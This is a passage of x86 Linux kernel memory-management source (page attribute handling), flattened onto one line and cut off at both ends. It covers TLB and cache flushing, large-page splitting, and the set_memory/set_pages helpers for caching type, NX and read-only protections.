CPA_PAGES_ARRAY 4 #ifdef CONFIG_PROC_FS static unsigned long direct_pages_count[PG_LEVEL_NUM]; void update_page_count(int level, unsigned long pages) { /* Protect against CPA */ spin_lock(&pgd_lock); direct_pages_count[level] += pages; spin_unlock(&pgd_lock); } static void split_page_count(int level) { direct_pages_count[level]--; direct_pages_count[level - 1] += PTRS_PER_PTE; } void arch_report_meminfo(struct seq_file *m) { seq_printf(m, "DirectMap4k: %8lu kB\n", direct_pages_count[PG_LEVEL_4K] << 2); #if defined(CONFIG_X86_64) || defined(CONFIG_X86_PAE) seq_printf(m, "DirectMap2M: %8lu kB\n", direct_pages_count[PG_LEVEL_2M] << 11); #else seq_printf(m, "DirectMap4M: %8lu kB\n", direct_pages_count[PG_LEVEL_2M] << 12); #endif #ifdef CONFIG_X86_64 if (direct_gbpages) seq_printf(m, "DirectMap1G: %8lu kB\n", direct_pages_count[PG_LEVEL_1G] << 20); #endif } #else static inline void split_page_count(int level) { } #endif #ifdef CONFIG_X86_64 static inline unsigned long highmap_start_pfn(void) { return __pa_symbol(_text) >> PAGE_SHIFT; } static inline unsigned long highmap_end_pfn(void) { return __pa_symbol(roundup(_brk_end, PMD_SIZE)) >> PAGE_SHIFT; } #endif #ifdef CONFIG_DEBUG_PAGEALLOC # define debug_pagealloc 1 #else # define debug_pagealloc 0 #endif static inline int within(unsigned long addr, unsigned long start, unsigned long end) { return addr >= start && addr < end; } /* * Flushing functions */ /** * clflush_cache_range - flush a cache range with clflush * @vaddr: virtual start address * @size: number of bytes to flush * * clflush is an unordered instruction which needs fencing with mfence * to avoid ordering issues. */ void clflush_cache_range(void *vaddr, unsigned int size) { void *vend = vaddr + size - 1; mb(); for (; vaddr < vend; vaddr += boot_cpu_data.x86_clflush_size) clflush(vaddr); /* * Flush any possible final partial cacheline: */ clflush(vend); mb(); } EXPORT_SYMBOL_GPL(clflush_cache_range); static void __cpa_flush_all(void *arg) { unsigned long cache = (unsigned long)arg; /* * Flush all to work around Errata in early athlons regarding * large page flushing. */ __flush_tlb_all(); if (cache && boot_cpu_data.x86 >= 4) wbinvd(); } static void cpa_flush_all(unsigned long cache) { BUG_ON(irqs_disabled()); on_each_cpu(__cpa_flush_all, (void *) cache, 1); } static void __cpa_flush_range(void *arg) { /* * We could optimize that further and do individual per page * tlb invalidates for a low number of pages. Caveat: we must * flush the high aliases on 64bit as well. */ __flush_tlb_all(); } static void cpa_flush_range(unsigned long start, int numpages, int cache) { unsigned int i, level; unsigned long addr; BUG_ON(irqs_disabled()); WARN_ON(PAGE_ALIGN(start) != start); on_each_cpu(__cpa_flush_range, NULL, 1); if (!cache) return; /* * We only need to flush on one CPU, * clflush is a MESI-coherent instruction that * will cause all other CPUs to flush the same * cachelines: */ for (i = 0, addr = start; i < numpages; i++, addr += PAGE_SIZE) { pte_t *pte = lookup_address(addr, &level); /* * Only flush present addresses: */ if (pte && (pte_val(*pte) & _PAGE_PRESENT)) clflush_cache_range((void *) addr, PAGE_SIZE); } } static void cpa_flush_array(unsigned long *start, int numpages, int cache, int in_flags, struct page **pages) { unsigned int i, level; unsigned long do_wbinvd = cache && numpages >= 1024; /* 4M threshold */ BUG_ON(irqs_disabled()); on_each_cpu(__cpa_flush_all, (void *) do_wbinvd, 1); if (!cache || do_wbinvd) return; /* * We only need to flush on one CPU, * clflush is a MESI-coherent instruction that * will cause all other CPUs to flush the same * cachelines: */ for (i = 0; i < numpages; i++) { unsigned long addr; pte_t *pte; if (in_flags & CPA_PAGES_ARRAY) addr = (unsigned long)page_address(pages[i]); else addr = start[i]; pte = lookup_address(addr, &level); /* * Only flush present addresses: */ if (pte && (pte_val(*pte) & _PAGE_PRESENT)) clflush_cache_range((void *)addr, PAGE_SIZE); } } /* * Certain areas of memory on x86 require very specific protection flags, * for example the BIOS area or kernel text. Callers don't always get this * right (again, ioremap() on BIOS memory is not uncommon) so this function * checks and fixes these known static required protection bits. */ static inline pgprot_t static_protections(pgprot_t prot, unsigned long address, unsigned long pfn) { pgprot_t forbidden = __pgprot(0); /* * The BIOS area between 640k and 1Mb needs to be executable for * PCI BIOS based config access (CONFIG_PCI_GOBIOS) support. */ #ifdef CONFIG_PCI_BIOS if (pcibios_enabled && within(pfn, BIOS_BEGIN >> PAGE_SHIFT, BIOS_END >> PAGE_SHIFT)) pgprot_val(forbidden) |= _PAGE_NX; #endif /* * The kernel text needs to be executable for obvious reasons * Does not cover __inittext since that is gone later on. On * 64bit we do not enforce !NX on the low mapping */ if (within(address, (unsigned long)_text, (unsigned long)_etext)) pgprot_val(forbidden) |= _PAGE_NX; /* * The .rodata section needs to be read-only. Using the pfn * catches all aliases. */ if (within(pfn, __pa_symbol(__start_rodata) >> PAGE_SHIFT, __pa_symbol(__end_rodata) >> PAGE_SHIFT)) pgprot_val(forbidden) |= _PAGE_RW; #if defined(CONFIG_X86_64) && defined(CONFIG_DEBUG_RODATA) /* * Once the kernel maps the text as RO (kernel_set_to_readonly is set), * kernel text mappings for the large page aligned text, rodata sections * will be always read-only. For the kernel identity mappings covering * the holes caused by this alignment can be anything that user asks. * * This will preserve the large page mappings for kernel text/data * at no extra cost. */ if (kernel_set_to_readonly && within(address, (unsigned long)_text, (unsigned long)__end_rodata_hpage_align)) { unsigned int level; /* * Don't enforce the !RW mapping for the kernel text mapping, * if the current mapping is already using small page mapping. * No need to work hard to preserve large page mappings in this * case. * * This also fixes the Linux Xen paravirt guest boot failure * (because of unexpected read-only mappings for kernel identity * mappings). In this paravirt guest case, the kernel text * mapping and the kernel identity mapping share the same * page-table pages. Thus we can't really use different * protections for the kernel text and identity mappings. Also, * these shared mappings are made of small page mappings. * Thus this don't enforce !RW mapping for small page kernel * text mapping logic will help Linux Xen parvirt guest boot * as well. */ if (lookup_address(address, &level) && (level != PG_LEVEL_4K)) pgprot_val(forbidden) |= _PAGE_RW; } #endif prot = __pgprot(pgprot_val(prot) & ~pgprot_val(forbidden)); return prot; } /* * Lookup the page table entry for a virtual address. Return a pointer * to the entry and the level of the mapping. * * Note: We return pud and pmd either when the entry is marked large * or when the present bit is not set. Otherwise we would return a * pointer to a nonexisting mapping. */ pte_t *lookup_address(unsigned long address, unsigned int *level) { pgd_t *pgd = pgd_offset_k(address); pud_t *pud; pmd_t *pmd; *level = PG_LEVEL_NONE; if (pgd_none(*pgd)) return NULL; pud = pud_offset(pgd, address); if (pud_none(*pud)) return NULL; *level = PG_LEVEL_1G; if (pud_large(*pud) || !pud_present(*pud)) return (pte_t *)pud; pmd = pmd_offset(pud, address); if (pmd_none(*pmd)) return NULL; *level = PG_LEVEL_2M; if (pmd_large(*pmd) || !pmd_present(*pmd)) return (pte_t *)pmd; *level = PG_LEVEL_4K; return pte_offset_kernel(pmd, address); } EXPORT_SYMBOL_GPL(lookup_address); /* * This is necessary because __pa() does not work on some * kinds of memory, like vmalloc() or the alloc_remap() * areas on 32-bit NUMA systems. The percpu areas can * end up in this kind of memory, for instance. * * This could be optimized, but it is only intended to be * used at inititalization time, and keeping it * unoptimized should increase the testing coverage for * the more obscure platforms. */ phys_addr_t slow_virt_to_phys(void *__virt_addr) { unsigned long virt_addr = (unsigned long)__virt_addr; phys_addr_t phys_addr; unsigned long offset; enum pg_level level; unsigned long psize; unsigned long pmask; pte_t *pte; pte = lookup_address(virt_addr, &level); BUG_ON(!pte); psize = page_level_size(level); pmask = page_level_mask(level); offset = virt_addr & ~pmask; phys_addr = (phys_addr_t)pte_pfn(*pte) << PAGE_SHIFT; return (phys_addr | offset); } EXPORT_SYMBOL_GPL(slow_virt_to_phys); /* * Set the new pmd in all the pgds we know about: */ static void __set_pmd_pte(pte_t *kpte, unsigned long address, pte_t pte) { /* change init_mm */ set_pte_atomic(kpte, pte); #ifdef CONFIG_X86_32 if (!SHARED_KERNEL_PMD) { struct page *page; list_for_each_entry(page, &pgd_list, lru) { pgd_t *pgd; pud_t *pud; pmd_t *pmd; pgd = (pgd_t *)page_address(page) + pgd_index(address); pud = pud_offset(pgd, address); pmd = pmd_offset(pud, address); set_pte_atomic((pte_t *)pmd, pte); } } #endif } static int try_preserve_large_page(pte_t *kpte, unsigned long address, struct cpa_data *cpa) { unsigned long nextpage_addr, numpages, pmask, psize, addr, pfn; pte_t new_pte, old_pte, *tmp; pgprot_t old_prot, new_prot, req_prot; int i, do_split = 1; enum pg_level level; if (cpa->force_split) return 1; spin_lock(&pgd_lock); /* * Check for races, another CPU might have split this page * up already: */ tmp = lookup_address(address, &level); if (tmp != kpte) goto out_unlock; switch (level) { case PG_LEVEL_2M: #ifdef CONFIG_X86_64 case PG_LEVEL_1G: #endif psize = page_level_size(level); pmask = page_level_mask(level); break; default: do_split = -EINVAL; goto out_unlock; } /* * Calculate the number of pages, which fit into this large * page starting at address: */ nextpage_addr = (address + psize) & pmask; numpages = (nextpage_addr - address) >> PAGE_SHIFT; if (numpages < cpa->numpages) cpa->numpages = numpages; /* * We are safe now. Check whether the new pgprot is the same: */ old_pte = *kpte; old_prot = req_prot = pte_pgprot(old_pte); pgprot_val(req_prot) &= ~pgprot_val(cpa->mask_clr); pgprot_val(req_prot) |= pgprot_val(cpa->mask_set); /* * Set the PSE and GLOBAL flags only if the PRESENT flag is * set otherwise pmd_present/pmd_huge will return true even on * a non present pmd. The canon_pgprot will clear _PAGE_GLOBAL * for the ancient hardware that doesn't support it. */ if (pgprot_val(req_prot) & _PAGE_PRESENT) pgprot_val(req_prot) |= _PAGE_PSE | _PAGE_GLOBAL; else pgprot_val(req_prot) &= ~(_PAGE_PSE | _PAGE_GLOBAL); req_prot = canon_pgprot(req_prot); /* * old_pte points to the large page base address. So we need * to add the offset of the virtual address: */ pfn = pte_pfn(old_pte) + ((address & (psize - 1)) >> PAGE_SHIFT); cpa->pfn = pfn; new_prot = static_protections(req_prot, address, pfn); /* * We need to check the full range, whether * static_protection() requires a different pgprot for one of * the pages in the range we try to preserve: */ addr = address & pmask; pfn = pte_pfn(old_pte); for (i = 0; i < (psize >> PAGE_SHIFT); i++, addr += PAGE_SIZE, pfn++) { pgprot_t chk_prot = static_protections(req_prot, addr, pfn); if (pgprot_val(chk_prot) != pgprot_val(new_prot)) goto out_unlock; } /* * If there are no changes, return. maxpages has been updated * above: */ if (pgprot_val(new_prot) == pgprot_val(old_prot)) { do_split = 0; goto out_unlock; } /* * We need to change the attributes. Check, whether we can * change the large page in one go. We request a split, when * the address is not aligned and the number of pages is * smaller than the number of pages in the large page. Note * that we limited the number of possible pages already to * the number of pages in the large page. */ if (address == (address & pmask) && cpa->numpages == (psize >> PAGE_SHIFT)) { /* * The address is aligned and the number of pages * covers the full page. */ new_pte = pfn_pte(pte_pfn(old_pte), new_prot); __set_pmd_pte(kpte, address, new_pte); cpa->flags |= CPA_FLUSHTLB; do_split = 0; } out_unlock: spin_unlock(&pgd_lock); return do_split; } static int __split_large_page(pte_t *kpte, unsigned long address, struct page *base) { pte_t *pbase = (pte_t *)page_address(base); unsigned long pfn, pfninc = 1; unsigned int i, level; pte_t *tmp; pgprot_t ref_prot; spin_lock(&pgd_lock); /* * Check for races, another CPU might have split this page * up for us already: */ tmp = lookup_address(address, &level); if (tmp != kpte) { spin_unlock(&pgd_lock); return 1; } paravirt_alloc_pte(&init_mm, page_to_pfn(base)); ref_prot = pte_pgprot(pte_clrhuge(*kpte)); /* * If we ever want to utilize the PAT bit, we need to * update this function to make sure it's converted from * bit 12 to bit 7 when we cross from the 2MB level to * the 4K level: */ WARN_ON_ONCE(pgprot_val(ref_prot) & _PAGE_PAT_LARGE); #ifdef CONFIG_X86_64 if (level == PG_LEVEL_1G) { pfninc = PMD_PAGE_SIZE >> PAGE_SHIFT; /* * Set the PSE flags only if the PRESENT flag is set * otherwise pmd_present/pmd_huge will return true * even on a non present pmd. */ if (pgprot_val(ref_prot) & _PAGE_PRESENT) pgprot_val(ref_prot) |= _PAGE_PSE; else pgprot_val(ref_prot) &= ~_PAGE_PSE; } #endif /* * Set the GLOBAL flags only if the PRESENT flag is set * otherwise pmd/pte_present will return true even on a non * present pmd/pte. The canon_pgprot will clear _PAGE_GLOBAL * for the ancient hardware that doesn't support it. */ if (pgprot_val(ref_prot) & _PAGE_PRESENT) pgprot_val(ref_prot) |= _PAGE_GLOBAL; else pgprot_val(ref_prot) &= ~_PAGE_GLOBAL; /* * Get the target pfn from the original entry: */ pfn = pte_pfn(*kpte); for (i = 0; i < PTRS_PER_PTE; i++, pfn += pfninc) set_pte(&pbase[i], pfn_pte(pfn, canon_pgprot(ref_prot))); if (pfn_range_is_mapped(PFN_DOWN(__pa(address)), PFN_DOWN(__pa(address)) + 1)) split_page_count(level); /* * Install the new, split up pagetable. * * We use the standard kernel pagetable protections for the new * pagetable protections, the actual ptes set above control the * primary protection behavior: */ __set_pmd_pte(kpte, address, mk_pte(base, __pgprot(_KERNPG_TABLE))); /* * Intel Atom errata AAH41 workaround. * * The real fix should be in hw or in a microcode update, but * we also probabilistically try to reduce the window of having * a large TLB mixed with 4K TLBs while instruction fetches are * going on. */ __flush_tlb_all(); spin_unlock(&pgd_lock); return 0; } static int split_large_page(pte_t *kpte, unsigned long address) { struct page *base; if (!debug_pagealloc) spin_unlock(&cpa_lock); base = alloc_pages(GFP_KERNEL | __GFP_NOTRACK, 0); if (!debug_pagealloc) spin_lock(&cpa_lock); if (!base) return -ENOMEM; if (__split_large_page(kpte, address, base)) __free_page(base); return 0; } static int __cpa_process_fault(struct cpa_data *cpa, unsigned long vaddr, int primary) { /* * Ignore all non primary paths. */ if (!primary) return 0; /* * Ignore the NULL PTE for kernel identity mapping, as it is expected * to have holes. * Also set numpages to '1' indicating that we processed cpa req for * one virtual address page and its pfn. TBD: numpages can be set based * on the initial value and the level returned by lookup_address(). */ if (within(vaddr, PAGE_OFFSET, PAGE_OFFSET + (max_pfn_mapped << PAGE_SHIFT))) { cpa->numpages = 1; cpa->pfn = __pa(vaddr) >> PAGE_SHIFT; return 0; } else { WARN(1, KERN_WARNING "CPA: called for zero pte. " "vaddr = %lx cpa->vaddr = %lx\n", vaddr, *cpa->vaddr); return -EFAULT; } } static int __change_page_attr(struct cpa_data *cpa, int primary) { unsigned long address; int do_split, err; unsigned int level; pte_t *kpte, old_pte; if (cpa->flags & CPA_PAGES_ARRAY) { struct page *page = cpa->pages[cpa->curpage]; if (unlikely(PageHighMem(page))) return 0; address = (unsigned long)page_address(page); } else if (cpa->flags & CPA_ARRAY) address = cpa->vaddr[cpa->curpage]; else address = *cpa->vaddr; repeat: kpte = lookup_address(address, &level); if (!kpte) return __cpa_process_fault(cpa, address, primary); old_pte = *kpte; if (!pte_val(old_pte)) return __cpa_process_fault(cpa, address, primary); if (level == PG_LEVEL_4K) { pte_t new_pte; pgprot_t new_prot = pte_pgprot(old_pte); unsigned long pfn = pte_pfn(old_pte); pgprot_val(new_prot) &= ~pgprot_val(cpa->mask_clr); pgprot_val(new_prot) |= pgprot_val(cpa->mask_set); new_prot = static_protections(new_prot, address, pfn); /* * Set the GLOBAL flags only if the PRESENT flag is * set otherwise pte_present will return true even on * a non present pte. The canon_pgprot will clear * _PAGE_GLOBAL for the ancient hardware that doesn't * support it. */ if (pgprot_val(new_prot) & _PAGE_PRESENT) pgprot_val(new_prot) |= _PAGE_GLOBAL; else pgprot_val(new_prot) &= ~_PAGE_GLOBAL; /* * We need to keep the pfn from the existing PTE, * after all we're only going to change it's attributes * not the memory it points to */ new_pte = pfn_pte(pfn, canon_pgprot(new_prot)); cpa->pfn = pfn; /* * Do we really change anything ? */ if (pte_val(old_pte) != pte_val(new_pte)) { set_pte_atomic(kpte, new_pte); cpa->flags |= CPA_FLUSHTLB; } cpa->numpages = 1; return 0; } /* * Check, whether we can keep the large page intact * and just change the pte: */ do_split = try_preserve_large_page(kpte, address, cpa); /* * When the range fits into the existing large page, * return. cp->numpages and cpa->tlbflush have been updated in * try_large_page: */ if (do_split <= 0) return do_split; /* * We have to split the large page: */ err = split_large_page(kpte, address); if (!err) { /* * Do a global flush tlb after splitting the large page * and before we do the actual change page attribute in the PTE. * * With out this, we violate the TLB application note, that says * "The TLBs may contain both ordinary and large-page * translations for a 4-KByte range of linear addresses. This * may occur if software modifies the paging structures so that * the page size used for the address range changes. If the two * translations differ with respect to page frame or attributes * (e.g., permissions), processor behavior is undefined and may * be implementation-specific." * * We do this global tlb flush inside the cpa_lock, so that we * don't allow any other cpu, with stale tlb entries change the * page attribute in parallel, that also falls into the * just split large page entry. */ flush_tlb_all(); goto repeat; } return err; } static int __change_page_attr_set_clr(struct cpa_data *cpa, int checkalias); static int cpa_process_alias(struct cpa_data *cpa) { struct cpa_data alias_cpa; unsigned long laddr = (unsigned long)__va(cpa->pfn << PAGE_SHIFT); unsigned long vaddr; int ret; if (!pfn_range_is_mapped(cpa->pfn, cpa->pfn + 1)) return 0; /* * No need to redo, when the primary call touched the direct * mapping already: */ if (cpa->flags & CPA_PAGES_ARRAY) { struct page *page = cpa->pages[cpa->curpage]; if (unlikely(PageHighMem(page))) return 0; vaddr = (unsigned long)page_address(page); } else if (cpa->flags & CPA_ARRAY) vaddr = cpa->vaddr[cpa->curpage]; else vaddr = *cpa->vaddr; if (!(within(vaddr, PAGE_OFFSET, PAGE_OFFSET + (max_pfn_mapped << PAGE_SHIFT)))) { alias_cpa = *cpa; alias_cpa.vaddr = &laddr; alias_cpa.flags &= ~(CPA_PAGES_ARRAY | CPA_ARRAY); ret = __change_page_attr_set_clr(&alias_cpa, 0); if (ret) return ret; } #ifdef CONFIG_X86_64 /* * If the primary call didn't touch the high mapping already * and the physical address is inside the kernel map, we need * to touch the high mapped kernel as well: */ if (!within(vaddr, (unsigned long)_text, _brk_end) && within(cpa->pfn, highmap_start_pfn(), highmap_end_pfn())) { unsigned long temp_cpa_vaddr = (cpa->pfn << PAGE_SHIFT) + __START_KERNEL_map - phys_base; alias_cpa = *cpa; alias_cpa.vaddr = &temp_cpa_vaddr; alias_cpa.flags &= ~(CPA_PAGES_ARRAY | CPA_ARRAY); /* * The high mapping range is imprecise, so ignore the * return value. */ __change_page_attr_set_clr(&alias_cpa, 0); } #endif return 0; } static int __change_page_attr_set_clr(struct cpa_data *cpa, int checkalias) { int ret, numpages = cpa->numpages; while (numpages) { /* * Store the remaining nr of pages for the large page * preservation check. */ cpa->numpages = numpages; /* for array changes, we can't use large page */ if (cpa->flags & (CPA_ARRAY | CPA_PAGES_ARRAY)) cpa->numpages = 1; if (!debug_pagealloc) spin_lock(&cpa_lock); ret = __change_page_attr(cpa, checkalias); if (!debug_pagealloc) spin_unlock(&cpa_lock); if (ret) return ret; if (checkalias) { ret = cpa_process_alias(cpa); if (ret) return ret; } /* * Adjust the number of pages with the result of the * CPA operation. Either a large page has been * preserved or a single page update happened. */ BUG_ON(cpa->numpages > numpages); numpages -= cpa->numpages; if (cpa->flags & (CPA_PAGES_ARRAY | CPA_ARRAY)) cpa->curpage++; else *cpa->vaddr += cpa->numpages * PAGE_SIZE; } return 0; } static inline int cache_attr(pgprot_t attr) { return pgprot_val(attr) & (_PAGE_PAT | _PAGE_PAT_LARGE | _PAGE_PWT | _PAGE_PCD); } static int change_page_attr_set_clr(unsigned long *addr, int numpages, pgprot_t mask_set, pgprot_t mask_clr, int force_split, int in_flag, struct page **pages) { struct cpa_data cpa; int ret, cache, checkalias; unsigned long baddr = 0; /* * Check, if we are requested to change a not supported * feature: */ mask_set = canon_pgprot(mask_set); mask_clr = canon_pgprot(mask_clr); if (!pgprot_val(mask_set) && !pgprot_val(mask_clr) && !force_split) return 0; /* Ensure we are PAGE_SIZE aligned */ if (in_flag & CPA_ARRAY) { int i; for (i = 0; i < numpages; i++) { if (addr[i] & ~PAGE_MASK) { addr[i] &= PAGE_MASK; WARN_ON_ONCE(1); } } } else if (!(in_flag & CPA_PAGES_ARRAY)) { /* * in_flag of CPA_PAGES_ARRAY implies it is aligned. * No need to cehck in that case */ if (*addr & ~PAGE_MASK) { *addr &= PAGE_MASK; /* * People should not be passing in unaligned addresses: */ WARN_ON_ONCE(1); } /* * Save address for cache flush. *addr is modified in the call * to __change_page_attr_set_clr() below. */ baddr = *addr; } /* Must avoid aliasing mappings in the highmem code */ kmap_flush_unused(); vm_unmap_aliases(); cpa.vaddr = addr; cpa.pages = pages; cpa.numpages = numpages; cpa.mask_set = mask_set; cpa.mask_clr = mask_clr; cpa.flags = 0; cpa.curpage = 0; cpa.force_split = force_split; if (in_flag & (CPA_ARRAY | CPA_PAGES_ARRAY)) cpa.flags |= in_flag; /* No alias checking for _NX bit modifications */ checkalias = (pgprot_val(mask_set) | pgprot_val(mask_clr)) != _PAGE_NX; ret = __change_page_attr_set_clr(&cpa, checkalias); /* * Check whether we really changed something: */ if (!(cpa.flags & CPA_FLUSHTLB)) goto out; /* * No need to flush, when we did not set any of the caching * attributes: */ cache = cache_attr(mask_set); /* * On success we use clflush, when the CPU supports it to * avoid the wbindv. If the CPU does not support it and in the * error case we fall back to cpa_flush_all (which uses * wbindv): */ if (!ret && cpu_has_clflush) { if (cpa.flags & (CPA_PAGES_ARRAY | CPA_ARRAY)) { cpa_flush_array(addr, numpages, cache, cpa.flags, pages); } else cpa_flush_range(baddr, numpages, cache); } else cpa_flush_all(cache); out: return ret; } static inline int change_page_attr_set(unsigned long *addr, int numpages, pgprot_t mask, int array) { return change_page_attr_set_clr(addr, numpages, mask, __pgprot(0), 0, (array ? CPA_ARRAY : 0), NULL); } static inline int change_page_attr_clear(unsigned long *addr, int numpages, pgprot_t mask, int array) { return change_page_attr_set_clr(addr, numpages, __pgprot(0), mask, 0, (array ? CPA_ARRAY : 0), NULL); } static inline int cpa_set_pages_array(struct page **pages, int numpages, pgprot_t mask) { return change_page_attr_set_clr(NULL, numpages, mask, __pgprot(0), 0, CPA_PAGES_ARRAY, pages); } static inline int cpa_clear_pages_array(struct page **pages, int numpages, pgprot_t mask) { return change_page_attr_set_clr(NULL, numpages, __pgprot(0), mask, 0, CPA_PAGES_ARRAY, pages); } int _set_memory_uc(unsigned long addr, int numpages) { /* * for now UC MINUS. see comments in ioremap_nocache() */ return change_page_attr_set(&addr, numpages, __pgprot(_PAGE_CACHE_UC_MINUS), 0); } int set_memory_uc(unsigned long addr, int numpages) { int ret; /* * for now UC MINUS. see comments in ioremap_nocache() */ ret = reserve_memtype(__pa(addr), __pa(addr) + numpages * PAGE_SIZE, _PAGE_CACHE_UC_MINUS, NULL); if (ret) goto out_err; ret = _set_memory_uc(addr, numpages); if (ret) goto out_free; return 0; out_free: free_memtype(__pa(addr), __pa(addr) + numpages * PAGE_SIZE); out_err: return ret; } EXPORT_SYMBOL(set_memory_uc); static int _set_memory_array(unsigned long *addr, int addrinarray, unsigned long new_type) { int i, j; int ret; /* * for now UC MINUS. see comments in ioremap_nocache() */ for (i = 0; i < addrinarray; i++) { ret = reserve_memtype(__pa(addr[i]), __pa(addr[i]) + PAGE_SIZE, new_type, NULL); if (ret) goto out_free; } ret = change_page_attr_set(addr, addrinarray, __pgprot(_PAGE_CACHE_UC_MINUS), 1); if (!ret && new_type == _PAGE_CACHE_WC) ret = change_page_attr_set_clr(addr, addrinarray, __pgprot(_PAGE_CACHE_WC), __pgprot(_PAGE_CACHE_MASK), 0, CPA_ARRAY, NULL); if (ret) goto out_free; return 0; out_free: for (j = 0; j < i; j++) free_memtype(__pa(addr[j]), __pa(addr[j]) + PAGE_SIZE); return ret; } int set_memory_array_uc(unsigned long *addr, int addrinarray) { return _set_memory_array(addr, addrinarray, _PAGE_CACHE_UC_MINUS); } EXPORT_SYMBOL(set_memory_array_uc); int set_memory_array_wc(unsigned long *addr, int addrinarray) { return _set_memory_array(addr, addrinarray, _PAGE_CACHE_WC); } EXPORT_SYMBOL(set_memory_array_wc); int _set_memory_wc(unsigned long addr, int numpages) { int ret; unsigned long addr_copy = addr; ret = change_page_attr_set(&addr, numpages, __pgprot(_PAGE_CACHE_UC_MINUS), 0); if (!ret) { ret = change_page_attr_set_clr(&addr_copy, numpages, __pgprot(_PAGE_CACHE_WC), __pgprot(_PAGE_CACHE_MASK), 0, 0, NULL); } return ret; } int set_memory_wc(unsigned long addr, int numpages) { int ret; if (!pat_enabled) return set_memory_uc(addr, numpages); ret = reserve_memtype(__pa(addr), __pa(addr) + numpages * PAGE_SIZE, _PAGE_CACHE_WC, NULL); if (ret) goto out_err; ret = _set_memory_wc(addr, numpages); if (ret) goto out_free; return 0; out_free: free_memtype(__pa(addr), __pa(addr) + numpages * PAGE_SIZE); out_err: return ret; } EXPORT_SYMBOL(set_memory_wc); int _set_memory_wb(unsigned long addr, int numpages) { return change_page_attr_clear(&addr, numpages, __pgprot(_PAGE_CACHE_MASK), 0); } int set_memory_wb(unsigned long addr, int numpages) { int ret; ret = _set_memory_wb(addr, numpages); if (ret) return ret; free_memtype(__pa(addr), __pa(addr) + numpages * PAGE_SIZE); return 0; } EXPORT_SYMBOL(set_memory_wb); int set_memory_array_wb(unsigned long *addr, int addrinarray) { int i; int ret; ret = change_page_attr_clear(addr, addrinarray, __pgprot(_PAGE_CACHE_MASK), 1); if (ret) return ret; for (i = 0; i < addrinarray; i++) free_memtype(__pa(addr[i]), __pa(addr[i]) + PAGE_SIZE); return 0; } EXPORT_SYMBOL(set_memory_array_wb); int set_memory_x(unsigned long addr, int numpages) { if (!(__supported_pte_mask & _PAGE_NX)) return 0; return change_page_attr_clear(&addr, numpages, __pgprot(_PAGE_NX), 0); } EXPORT_SYMBOL(set_memory_x); int set_memory_nx(unsigned long addr, int numpages) { if (!(__supported_pte_mask & _PAGE_NX)) return 0; return change_page_attr_set(&addr, numpages, __pgprot(_PAGE_NX), 0); } EXPORT_SYMBOL(set_memory_nx); int set_memory_ro(unsigned long addr, int numpages) { return change_page_attr_clear(&addr, numpages, __pgprot(_PAGE_RW), 0); } EXPORT_SYMBOL_GPL(set_memory_ro); int set_memory_rw(unsigned long addr, int numpages) { return change_page_attr_set(&addr, numpages, __pgprot(_PAGE_RW), 0); } EXPORT_SYMBOL_GPL(set_memory_rw); int set_memory_np(unsigned long addr, int numpages) { return change_page_attr_clear(&addr, numpages, __pgprot(_PAGE_PRESENT), 0); } int set_memory_4k(unsigned long addr, int numpages) { return change_page_attr_set_clr(&addr, numpages, __pgprot(0), __pgprot(0), 1, 0, NULL); } int set_pages_uc(struct page *page, int numpages) { unsigned long addr = (unsigned long)page_address(page); return set_memory_uc(addr, numpages); } EXPORT_SYMBOL(set_pages_uc); static int _set_pages_array(struct page **pages, int addrinarray, unsigned long new_type) { unsigned long start; unsigned long end; int i; int free_idx; int ret; for (i = 0; i < addrinarray; i++) { if (PageHighMem(pages[i])) continue; start = page_to_pfn(pages[i]) << PAGE_SHIFT; end = start + PAGE_SIZE; if (reserve_memtype(start, end, new_type, NULL)) goto err_out; } ret = cpa_set_pages_array(pages, addrinarray, __pgprot(_PAGE_CACHE_UC_MINUS)); if (!ret && new_type == _PAGE_CACHE_WC) ret = change_page_attr_set_clr(NULL, addrinarray, __pgprot(_PAGE_CACHE_WC), __pgprot(_PAGE_CACHE_MASK), 0, CPA_PAGES_ARRAY, pages); if (ret) goto err_out; return 0; /* Success */ err_out: free_idx = i; for (i = 0; i < free_idx; i++) { if (PageHighMem(pages[i])) continue; start = page_to_pfn(pages[i]) << PAGE_SHIFT; end = start + PAGE_SIZE; free_memtype(start, end); } return -EINVAL; } int set_pages_array_uc(struct page **pages, int addrinarray) { return _set_pages_array(pages, addrinarray, _PAGE_CACHE_UC_MINUS); } EXPORT_SYMBOL(set_pages_array_uc); int set_pages_array_wc(struct page **pages, int addrinarray) { return _set_pages_array(pages, addrinarray, _PAGE_CACHE_WC); } EXPORT_SYMBOL(set_pages_array_wc); int set_pages_wb(struct page *page, int numpages) { unsigned long addr = (unsigned long)page_address(page); return set_memory_wb(addr, numpages); } EXPORT_SYMBOL(set_pages_wb); int set_pages_array_wb(struct page **pages, int addrinarray) { int retval; unsigned long start; unsigned long end; int i; retval = cpa_clear_pages_array(pages, addrinarray, __pgprot(_PAGE_CACHE_MASK)); if (retval) return retval; for (i = 0; i < addrinarray; i++) { if (PageHighMem(pages[i])) continue; start = page_to_pfn(pages[i]) << PAGE_SHIFT; end = start + PAGE_SIZE; free_memtype(start, end); } return 0; } EXPORT_SYMBOL(set_pages_array_wb); int set_pages_x(struct page *page, int numpages) { unsigned long addr = (unsigned long)page_address(page); return set_memory_x(addr, numpages); } EXPORT_SYMBOL(set_pages_x); int set_pages_nx(struct page *page, int numpages) { unsigned long addr = (unsigned long)page_address(page); return set_memory_nx(addr, numpages); } EXPORT_SYMBOL(set_pages_nx); int set_pages_ro(struct page *page, int numpages) { unsigned long addr = (unsigned long)page_address(page); return set_memory_ro(addr, numpages); } int set_pages_rw(struct page *page, int numpages) { unsigned long addr = (unsigned long)page_address(page); return set_memory_rw(addr, numpages); } #ifdef CONFIG_DEBUG_PAGEALLOC static int __set_pages_p(struct page *page, int numpages) { unsigned long tempaddr = (unsigned long) page_address(page); struct cpa_data cpa = { .vaddr = &tempaddr, .numpages = numpages, .mask_set = __pgprot(_PAGE_PRESENT | _PAGE_RW), .mask_clr = __pgprot(0), .flags = 0}; /* * No alias checking needed for setting present flag. otherwise, * we may need to break large pages for 64-bit kernel text * mappings (this adds to complexity if we want to do this from * atomic context especially). Let's keep it simple! */ return __change_page_attr_set_clr(&cpa, 0); } static int __set_pages_np(struct page *page, int numpages) { unsigned long tempaddr = (unsigned long) page_address(page); struct cpa_data cpa = { .vaddr = &tempaddr, .numpages = numpages, .mask_set = __pgprot(0), .mask_clr = __pgprot(_PAGE_PRESENT | _PAGE_RW), .flags = 0}; /* * No alias checking needed for setting not present flag. otherwise, * we may need to break large pages for 64-bit kernel text * mappings (this adds to complexity if we want to do this from * atomic context especially). Let's keep it 